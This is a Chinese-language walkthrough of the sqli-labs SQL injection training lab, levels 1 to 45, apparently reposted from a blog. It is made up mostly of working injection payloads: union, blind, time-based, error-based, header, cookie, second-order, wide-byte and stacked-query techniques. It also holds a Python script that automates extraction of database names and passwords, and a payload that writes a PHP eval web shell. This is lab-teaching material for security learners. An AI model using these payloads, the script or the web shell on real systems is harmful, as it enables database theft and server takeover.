sqli-labs通關文檔


聯合注入

less-1(字符型)

  1. 添加單引號尋找注入點,然后閉合單引號

  2. order by()判斷列數,三列時回顯正常

  3. 查詢任意不存在的數,得到顯示位

  4. 使用database()函數查詢當前庫名

    或直接查詢所有庫名

http://192.168.10.7/sqli/Less-1/?id=-1%E2%80%99+union+select+1,2,group_concat(schema_name)+from+information_schema.schemata--+

  1. 查詢security下的所有表名
http://192.168.10.7/sqli/Less-1/?id=-1%27+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema=+%27security%27--+

  1. 查詢users表的字段名
http://192.168.10.7/sqli/Less-1/?id=-1%27+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_name=+%27users%27--+

  1. 查內容
http://192.168.10.7/sqli/Less-1/?id=-1%27+union+select+1,group_concat(username),group_concat(password)+from+users--+

less-2(數字型)

  1. 尋找注入點 -1 or 1=1 --+
  2. 判斷字段列數,payload如下:
http://192.168.10.7/sqli/Less-2/?id=1+order+by(3)


3. 之后就和第一關一摸一樣payload如下:

?id=-1+union+select+1,2,group_concat(schema_name)+from+information_schema.schemata--+ //查庫

?id=-1+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema=+%27security%27--+ //查表

?id=-1+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_name=+%27users%27--+   //查字段

?id=-1+union+select+1,group_concat(username),group_concat(password)+from+users--+  //查內容

less-3(特殊閉合)

需要加')閉合

?id=-1%27)--+  //注入點

?id=-1%27)+order+by(3)--+  //判斷字段數

?id=-1%27)+union+select+1,2,group_concat(schema_name)+from+information_schema.schemata--+ //查庫

?id=-1%27)+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema=+%27security%27--+ //查表

?id=-1%27)+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_name=+%27users%27--+   //查字段

?id=-1%27)+union+select+1,group_concat(username),group_concat(password)+from+users--+  //查內容

less-4(特殊閉合)

需要加")閉合,其他和第三關一摸一樣

盲注

less-5

添加單引號會報錯,但是嘗試之前的注入方法,會發現頁面不再會返回我們注入的信息,如果注入成功的話,頁面會返回You are in...。
出錯的話就不會返回這個字符串,所以這里我們可以進行盲注。

left()+length()

/*使用1' and left(version(),1)=3%23這個payload進行測試,截取version()得到的最左側的字符判斷是否為3,如果為3則正常返回You are in...,否則不返回。
*所以我們可以利用這個一步一步爆破得到left(version(),1)=5。爆破區間可以確定在/[0-9.]/。
*采用1'and length(database())=8%23對數據庫名字長度進行爆破,確定數據庫名字長度之后,我們可以使用database()來進行爆破數據庫名,
*采用left(database(),1)>'a'這個payload進行測試,原*理跟上述一致,看返回即可,直到截取長度與數據庫名字一致為止,這里效率比較高的就是采用二分法進行盲注。
*/
?id=1%27+and+left(database(),1)='s'--+  /*庫名左側第一位為s.......依次枚舉*/

regexp

/*user()的結果是root,regexp為匹配root的正則表達式。則可以構造如下*/
?id=1%27+and+user()+regexp+'r'--+
?id=1%27+and+user()+regexp+'ro'--+
?id=1%27+and+user()+regexp+'roo'--+
?id=1%27+and+user()+regexp+'root'--+
/*查詢其他同理依次枚舉*/

like

/*匹配與regexp相似。例如當前版本的第一個字符為5:*/
?id=1%27+and+version()+like+'5%'--+

substr()

/*substr(a,b,c)從位置b開始,截取a字符串c位長度。*/
?id=1'+and+substr((select+database()),1,1)='s'--+
?id=1'+and+substr((select+database()),1,2)='se'--+
?id=1'+and+substr((select+database()),1,3)='sec'--+
......

ascii()

/*將某個字符串轉化為ascii值,可以和substr()聯合起來用*/
?id=1%27+and+ascii(substr((select+database()),1,1))=115--+  //s的ascii值為115

ord()、mid()

/*mid(column_name,start[,length]) //從位置start開始,截取column_name字符串的length位,與substr作用相同*/
/*cast(username as char)將username轉換成字符串*/
/*ifbull(exp1,exp2)假如expr1不為NULL,則ifnull()的返回值為expr1; 否則其返回值為expr2*/
/*ord() //將某個字符轉換成ascii碼,同ascii()*/
?id=1'+and+ord(mid((select+ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68--+

sleep()

/*根據時間延遲來判斷,執行的成功與否*/
?id=1%27+and%20if(ascii(substr(database(),1,1))=116,1,sleep(5))--+  
//數據庫的第一個字符是s,ascii碼為115執行錯誤觸發延時

less-6

與第五關相同,只不過注入點由單引號變為雙引號

less-7(導出文件)

/*需要先在靶機my.ini中添加secure-file-priv=''然后重啟MySQL*/
/*寫入一句話木馬*/
?id=1'))+union+select+1,2,'<?php @eval($_post[“mima”])?>'+into+outfile+"C:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-7\\shell.php"--+


less-8

/*單引號閉合,延時注入*/
?id=1%27%20and%20If(ascii(substr(database(),1,1))>115,1,sleep(5))--+


對於延時盲注而言,一般不會手動去一個一個猜解,利用python腳本可以很方便的跑出來,例如以下腳本:

import requests
import time
import datetime
url = "http://127.0.0.1/sqli/Less-8/index.php"
p1 = 'abcdefghijklmnopqrstuvwxyz'
#獲取數據庫長度
def database_len():
    for i in range(1,10):
        payload = "?id=1' and if(length(database())>%s,sleep(4),0)--+"%i
        url1 = url +payload
        #print(url1)
        time1 =datetime.datetime.now()
        r=requests.get(url=url1)
        time2=datetime.datetime.now()
        time3 = (time2-time1).total_seconds()    #計算時間差, 忽略天 只看時分秒   total_seconds() 真正的時間差 包含天
        if time3 >= 4:
            print(i)
        else:
            print(i)
            break
    print('數據庫長度為:',i)

#database_len()

#獲取數據庫名
def datebase_name():
    name=''
    for i in range(1,9):
        for j in p1:
            payload="?id=1' and if(substr(database(),%s,1)='%s',sleep(4),1)--+" %(i,j)
            url1=url+payload
            #print(url1)
            time1=datetime.datetime.now()
            r=requests.get(url=url1)
            time2=datetime.datetime.now()
            time3=(time2-time1).total_seconds()
            if time3 >= 4:
                name += j
                print(name)
                break
    n = name
    print('數據庫名字為:'+n)

#datebase_name()

#獲取表
def tables_name():
    global table4
    table1=''
    table2=''
    table3=''
    table4=''
    for i in range(5):
        for j in range(1,6):
            for t in p1:
                payload="?id=1' and sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit %s,1),%s,1)='%s'),3,0)) --+"%(i,j,t)
                url1=url+payload
                #print(url1)
                time1=datetime.datetime.now()
                r=requests.get(url=url1)
                time2=datetime.datetime.now()
                time3=(time2-time1).seconds
                if time3 >= 3:
                    if i == 0:
                        table1 +=t
                        print('第一個表為:',table1)
                    elif i == 1:
                        table2 += t
                        print('第二個表為:',table2)
                    elif i == 2:
                        table3 +=t
                        print('第三個表為:',table3)
                    elif i == 3:
                        table4 += t
                        print('第四個表為:',table4)
                    else:
                        break
    print('第一個表為'+table1)
    print('第二個表為'+table2)
    print('第三個表為' + table3)
    print('第四個表為' + table4)


#tables_name()

#獲取表中的字段
def table_column():
    global column3
    column1=''
    column2=''
    column3=''
    f=table4
    for i in range(3):
        for j in range(1,9):
            for t in p1:
                payload="?id=1' and sleep(if((mid((select column_name from information_schema.columns where table_name=\'%s\' limit %s,1),%s,1)='%s'),5,0)) --+"%(f,i,j,t)
                url1 =url+payload
                #print(url1)
                time1 = datetime.datetime.now()
                r = requests.get(url=url1)
                time2 = datetime.datetime.now()
                time3 = (time2 - time1).seconds
                if time3 >= 5:
                    if i == 0:
                        column1 += t
                        print('字段一為:'+column1)
                    elif i == 1:
                        column2 += t
                        print('字段二為:'+column2)
                    elif i == 2:
                        column3 += t
                        print('字段三為:'+column3)
                    else:
                        break
    print('users字段一為:'+column1)
    print('字段二為:'+column2)
    print('字段三為:',column3)


#table_column()

def s_content():
    content1=''
    f1= column3
    f2= table4
    for i in range(20):
            for t in p1:
                payload = "?id=1' and sleep(if((mid((select %s from %s limit 7,1),%s,1)='%s' ),3,0)) --+"%(f1,f2,i,t)
                url1 =url+payload
                #print(url1)
                time1=datetime.datetime.now()
                r = requests.get(url=url1)
                time2 = datetime.datetime.now()
                time3 = (time2-time1).seconds
                if time3 >=3:
                        content1 += t
                        print('password字段一內容為:'+content1)
                        break

    print('字段內容為:'+content1)


start_time=time.time()
database_len()
datebase_name()
tables_name()
table_column()
s_content()
end_time=time.time()
end_start_time=end_time-start_time
print('總花費時間為',end_start_time,'秒')

less-9

/*單引號閉合,同理直接延時注入*/
?id=1%27%20and%20If(ascii(substr(database(),1,1))>115,1,sleep(5))--+

less-10

/*雙引號閉合,同理延時注入*/
?id=1"%20and%20If(ascii(substr(database(),1,1))>115,1,sleep(5))--+

less-11

/*這里需要burp或hackber來提交post請求,單引號閉合,使用報錯注入*/
' union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a--+

' union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x--+

less-12

/*雙引號加括號閉合,同11*/
") union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a--+

less-13

/*無回顯,但是錯誤會顯示,所以使用布爾注入或延時*/
1') or 1=1#

less-14

/*可以使用報錯注入*/
1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

less-15

/*延時注入*/
admin' and If(ascii(substr(database(),1,1))>115,1,sleep(5))#

less-16

/*雙引號加括號閉合,同15*/
admin") and If(ascii(substr(database(),1,1))>115,1,sleep(5))#

less-17

/*用戶名存在過濾,所以在密碼處使用報錯*/
admin
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

http標頭注入

less-18

/* Header 頭注入*/
' and updatexml(1,concat(0x7e,(select database()),0x7e),1),"1","1")#

less-19

/*Referer注入*/
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

cookie注入

less-20

/*cookie 注入,登錄成功后 cookie處報錯注入即可*/
admin
admin登陸后獲取cookie
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

less-21

/*cookie 加上了 base64,所以構造一下payload即可*/
admin處單引號加括號閉合
admin') ​and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSwxKSAjIA==

less-22

/*同21,只不過用雙引號閉合*/
payload為:
admin" and updatexml(1,concat(0x7e,(select database()),0x7e),1) # 
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpICMg

注釋符過濾

less-23

/*這里#、--+均被過濾了,可以用or "1"="1來閉合后面的引號*/
payload為:
-1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

二次注入

less-24

/*這里是個二次注入,我們可以先注冊一個admin'#的賬號,在修改密碼處我們就可以以自己的密碼修改 admin 的密碼了,因為修改密碼處形成的 sql 語句是
UPDATE users SET passwd="New_Pass" WHERE username ='admin'#'xxxx
這樣#就注釋掉了后面的 sql 語句
*/

點擊新注冊賬號

注冊admin'#

使用admin'#登錄

修改密碼為654321

因為用戶名為admin'#
Sql語句變為UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
也就是執行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'

然后使用admin登錄,其密碼為654321

less-25

/*這里頁面,直接提示我們and和or被過濾了,然並卵*/
第一種,直接使用常規方式注入:
?id=-1' union select 1,2,3--+

第二種,查看源代碼發現,只過濾了一次,和xss一樣雙寫and和or即可

less-25a

查看源代碼發現由字符型變成了數字型,其他方面和25相同


less-26

查看源代碼發現閉合方式為單引號,並且過濾了: and、or、空格、#、--,其實只需要把關鍵字替換一下即可
payload為:
?id=1'||left(database(),1)='s'%26%26'1'='1



less-26a

直接使用布爾注入
?id=1'||%0adatabase()%0a='security'%26%26'1'%3d'1

less-27

查看源代碼可以發現,過濾變得更加嚴格,但是稍微變化一下payload,也就能繞過了


less-27a

可以看到,它這里給我們輸入的id前后拼接上了雙引號
payload為:
0"%0AunIon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00

less-28

查看源代碼,可以發現其閉合方式為:')
過濾了union+ select,那么直接盲注即可
payload為
?id=0')||database()%0ALIKE%0A'security%';%00

less-28a

通過源文件可以發現,只過濾了union+select
pyaload為:
0')||left((database()),1)='s';%00

less-29

payload為:
1&id=0' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

less-30

與29關大體相似,只不過加了雙引號
payload:
1&id=0" union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23


less-31

閉合變成了")
payload為:
1&id=0") union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23


寬字節注入

less-32

注意是GBK編碼,可以用%df等進行寬字節注入
payload為:
0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

less-33

payload為:
0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

less-34

無非就是提交方式變成了POST
payload為:
0%df'%20union+selEct%201,group_concat(schema_name)%20from%20information_schema.schemata%3b%23

less-35

payload為:
0 union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

less-36

payload為:
-1%df' union select 1,2,3 --+

less-37

payload為:
0%df%27%20union%20selEct%20group_concat(schema_name),2%20from%20information_schema.schemata;%23

堆疊注入

less-38(字符型)

payload為:
1';create table test like users;%23


less-39(數字型)

payload為:
1;create table test like users;%23


less-40

閉合變為單引號括號
payload為:
1');create%20table%20testss%20like%20users;%23


less-41

payload為:
1;create table test41 like users;%23


less-42

提交方式變為POST
password處無過濾
payload為:
1'%3bcreate+table+test42+like+users%3b%23

less-43

password處無過濾,閉合方式為')
payload為:
1')%3bcreate+table+test43+like+users%3b%23


less-44

password處無過濾
payload為:
1'%3bcreate+table+test44+like+users%3b%23


less-45

payload為:
1')%3bcreate+table+test45+like+users%3b%23


less-46

loading...........


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM